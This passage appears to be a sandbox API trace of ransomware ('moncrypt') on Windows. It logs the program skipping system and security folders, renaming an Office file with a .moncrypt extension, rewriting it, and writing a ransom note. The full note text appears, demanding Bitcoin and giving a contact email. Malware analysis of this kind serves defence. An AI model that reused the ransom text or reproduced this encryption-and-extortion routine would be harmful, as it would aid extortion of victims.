Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.489] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.489] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.489] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.490] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.490] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.490] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.490] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.490] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\") returned 0x5e [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.490] GlobalLock (hMem=0x440004) returned 0x555860 [0048.490] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.490] GlobalUnlock (hMem=0x440004) returned 0 [0048.490] GlobalLock (hMem=0x440004) returned 0x555860 [0048.491] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.491] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.491] GlobalUnlock (hMem=0x440004) returned 0 [0048.491] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.491] GlobalUnlock (hMem=0x44000c) returned 0 [0048.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.491] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.491] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0048.491] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.491] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.491] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.491] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.491] GlobalUnlock (hMem=0x44000c) returned 0 [0048.491] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.491] GlobalLock (hMem=0x440004) returned 0x557870 [0048.491] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.491] GlobalUnlock (hMem=0x44000c) returned 0 [0048.491] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.491] GlobalUnlock (hMem=0x440004) returned 0 [0048.491] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.491] CharLowerBuffW (in: lpsz="ProjectMUI.XML", cchLength=0xe | out: lpsz="projectmui.xml") returned 0xe [0048.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.492] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", cchWideChar=108, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML\x06", lpUsedDefaultChar=0x0) returned 108 [0048.492] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML\x06", lpUsedDefaultChar=0x0) returned 4 [0048.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.492] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.493] CloseHandle (hObject=0x190) returned 1 [0048.494] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\я")) returned 1 [0048.494] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 0x54e280 [0048.495] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.495] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.495] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", dwFileAttributes=0x20) returned 1 [0048.495] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.moncrypt")) returned 1 [0048.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.496] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.496] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x5ac [0048.496] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.496] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x5ac, lpOverlapped=0x0) returned 1 [0048.498] GlobalLock (hMem=0x440004) returned 0x555860 [0048.498] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.498] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.498] GlobalUnlock (hMem=0x440004) returned 0 [0048.498] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.498] GlobalUnlock (hMem=0x44000c) returned 0 [0048.498] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.498] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.498] GlobalUnlock (hMem=0x44000c) returned 0 [0048.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.510] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.510] CloseHandle (hObject=0x190) returned 1 [0048.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.510] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.510] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.510] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.510] GlobalUnlock (hMem=0x44000c) returned 0 [0048.510] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.510] GlobalLock (hMem=0x440004) returned 0x557870 [0048.510] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.510] GlobalUnlock (hMem=0x44000c) returned 0 [0048.510] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.510] GlobalUnlock (hMem=0x440004) returned 0 [0048.510] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69b08, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.511] GetLastError () returned 0x2 [0048.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.513] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.513] CloseHandle (hObject=0x190) returned 1 [0048.514] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.514] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.514] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.514] GlobalLock (hMem=0x440004) returned 0x555860 [0048.514] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.514] GlobalUnlock (hMem=0x440004) returned 0 [0048.514] GlobalLock (hMem=0x440004) returned 0x555860 [0048.514] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.514] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.514] GlobalUnlock (hMem=0x440004) returned 0 [0048.514] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.514] GlobalUnlock (hMem=0x44000c) returned 0 [0048.514] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.514] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", cchWideChar=103, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 103 [0048.515] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 4 [0048.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.515] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.515] 